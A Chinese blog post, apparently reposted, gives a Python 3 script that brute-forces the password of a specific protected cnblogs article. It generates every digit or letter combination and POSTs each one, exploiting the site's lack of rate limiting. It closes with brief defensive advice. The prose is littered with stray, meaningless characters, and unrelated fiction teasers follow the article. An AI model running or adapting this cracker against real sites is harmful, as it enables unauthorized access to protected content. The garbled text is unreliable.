一個(gè)最簡(jiǎn)單的博客園文章密碼暴力破解器-python3實(shí)現(xiàn)

一個(gè)最簡(jiǎn)單的博客園文章密碼暴力破解器-python3實(shí)現(xiàn)

我之前想寫(xiě)路由器的密碼暴力破解器,我手上只有極路由,發(fā)現(xiàn)極路由有安全限制,只能允許連續(xù)10密碼錯(cuò)誤憾筏,所以我改拿博客園練手。
博客園的博客有個(gè)功能是給博文設(shè)置一個(gè)密碼花鹅,輸入正確的密碼才能看到文章的內(nèi)容氧腰。經(jīng)過(guò)測(cè)試發(fā)現(xiàn)這個(gè)密碼驗(yàn)證功能,既沒(méi)有驗(yàn)證碼也沒(méi)有提交頻率的限制翠胰,
要寫(xiě)這個(gè)針對(duì)博客園的密碼暴力破解器模型會(huì)非常簡(jiǎn)單容贝,很好實(shí)現(xiàn)。

比如打開(kāi)這個(gè)博文之景,會(huì)顯示一個(gè)密碼輸入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前沒(méi)有寫(xiě)過(guò)這樣的程序斤富,也沒(méi)有看過(guò)別人寫(xiě)這類(lèi)功能的代碼,就按我自己所理解的想法來(lái)寫(xiě)一個(gè)最簡(jiǎn)單的密碼破解器锻狗,不要多線(xiàn)程满力,不要分布式,
這個(gè)程序會(huì)有這么兩個(gè)部分:

1轻纪、我需要一個(gè)生成器油额,可以不停的生成所有可能的密碼組合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密碼組合刻帚。
2潦嘶、我需要不停的提交密碼,直到認(rèn)為密碼正確崇众,記錄密碼掂僵,退出程序。

-_-!為什么使用生成器顷歌?
python2中range() 不是一個(gè)生成器锰蓬,當(dāng)你range(N),N為一個(gè)很大的數(shù)時(shí)...python就會(huì)爆炸C袖觥G叟ぁ麻顶!哈哈哈..

寫(xiě)細(xì)致的博客太消耗時(shí)間和心力,我這里不寫(xiě)具體的分析過(guò)程了舱卡,后面直接上代碼辅肾,如果看不懂,查相關(guān)關(guān)鍵詞就可以轮锥,畢竟基礎(chǔ)教程性的文章和內(nèi)容非常之多宛瞄。

tqdm是一個(gè)python進(jìn)度條庫(kù),requests是一個(gè)簡(jiǎn)單優(yōu)雅的http庫(kù),
product是python3的標(biāo)準(zhǔn)庫(kù)itertools下的函數(shù)交胚,可以用生成 (a,b,c...) (c,b,a...)這樣的序列,用''.join連接起來(lái)就得到了"abc"這樣的一個(gè)密碼。

代碼如下:

"""
python3暴力窮舉密碼
2016年6月09日 04:39:25  codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post


#密碼生成器
def psgen(x=4):
    iter = ['1234567890',
            'abcdefghijklmnopqrstuvwxyz',
            'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

            ]
    for r in iter:
        for repeat in range(1,x+1):
            for ps in product(r,repeat=repeat):
                yield ''.join(ps)


def fx(url):
#把URL中的readauth字符刪掉盈电,替換成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的格式蝴簇,因?yàn)檫@個(gè)才POST的目標(biāo)地址。
    url = url.replace("/post/readauth?url=", "")
    for ps in tqdm(psgen(6)):
        try:
            rs=post(url,data={'tb_password':ps},allow_redirects=1)
            if rs.url == url:  #如果提交密碼后匆帚,返回的url得到為"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的形式熬词,那么認(rèn)為猜到正確的密碼了。
                with open("resut.csv","a+") as f:
                    f.write('密碼破解成功結(jié)果為:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
                break
        except:
            sleep(1)
            pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后吸重,這個(gè)程序運(yùn)行速度大約是每秒提交6次密碼互拾,我運(yùn)行了30個(gè)小時(shí),也不過(guò)是迭代幾十萬(wàn)次嚎幸,并沒(méi)有能把密碼破解出來(lái)颜矿,沒(méi)有產(chǎn)生實(shí)質(zhì)性的危害。

總結(jié):
1嫉晶、密碼驗(yàn)證的地方適當(dāng)增加一些防止暴力破解的手段骑疆。
2、仍然有必要使用復(fù)雜的密碼提高安全度替废。雖然這樣的一個(gè)簡(jiǎn)單的程序并沒(méi)有什么卵用

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末箍铭,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子椎镣,更是在濱河造成了極大的恐慌诈火,老刑警劉巖,帶你破解...
    沈念sama閱讀 211,290評(píng)論 6 491
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件状答,死亡現(xiàn)場(chǎng)離奇詭異冷守,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)剪况,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,107評(píng)論 2 385
  • 文/潘曉璐 我一進(jìn)店門(mén)教沾,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人译断,你說(shuō)我怎么就攤上這事授翻。” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 156,872評(píng)論 0 347
  • 文/不壞的土叔 我叫張陵堪唐,是天一觀的道長(zhǎng)巡语。 經(jīng)常有香客問(wèn)我,道長(zhǎng)淮菠,這世上最難降的妖魔是什么男公? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 56,415評(píng)論 1 283
  • 正文 為了忘掉前任,我火速辦了婚禮合陵,結(jié)果婚禮上枢赔,老公的妹妹穿的比我還像新娘。我一直安慰自己拥知,他們只是感情好踏拜,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,453評(píng)論 6 385
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著低剔,像睡著了一般速梗。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上襟齿,一...
    開(kāi)封第一講書(shū)人閱讀 49,784評(píng)論 1 290
  • 那天姻锁,我揣著相機(jī)與錄音,去河邊找鬼猜欺。 笑死位隶,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的替梨。 我是一名探鬼主播钓试,決...
    沈念sama閱讀 38,927評(píng)論 3 406
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼副瀑!你這毒婦竟也來(lái)了弓熏?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 37,691評(píng)論 0 266
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤糠睡,失蹤者是張志新(化名)和其女友劉穎挽鞠,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體狈孔,經(jīng)...
    沈念sama閱讀 44,137評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡信认,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,472評(píng)論 2 326
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了均抽。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片嫁赏。...
    茶點(diǎn)故事閱讀 38,622評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖油挥,靈堂內(nèi)的尸體忽然破棺而出潦蝇,到底是詐尸還是另有隱情款熬,我是刑警寧澤,帶...
    沈念sama閱讀 34,289評(píng)論 4 329
  • 正文 年R本政府宣布攘乒,位于F島的核電站贤牛,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏则酝。R本人自食惡果不足惜殉簸,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,887評(píng)論 3 312
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望沽讹。 院中可真熱鬧般卑,春花似錦、人聲如沸爽雄。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,741評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)盲链。三九已至,卻和暖如春迟杂,著一層夾襖步出監(jiān)牢的瞬間刽沾,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,977評(píng)論 1 265
  • 我被黑心中介騙來(lái)泰國(guó)打工排拷, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留侧漓,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,316評(píng)論 2 360
  • 正文 我出身青樓监氢,卻偏偏與公主長(zhǎng)得像布蔗,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子浪腐,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,490評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容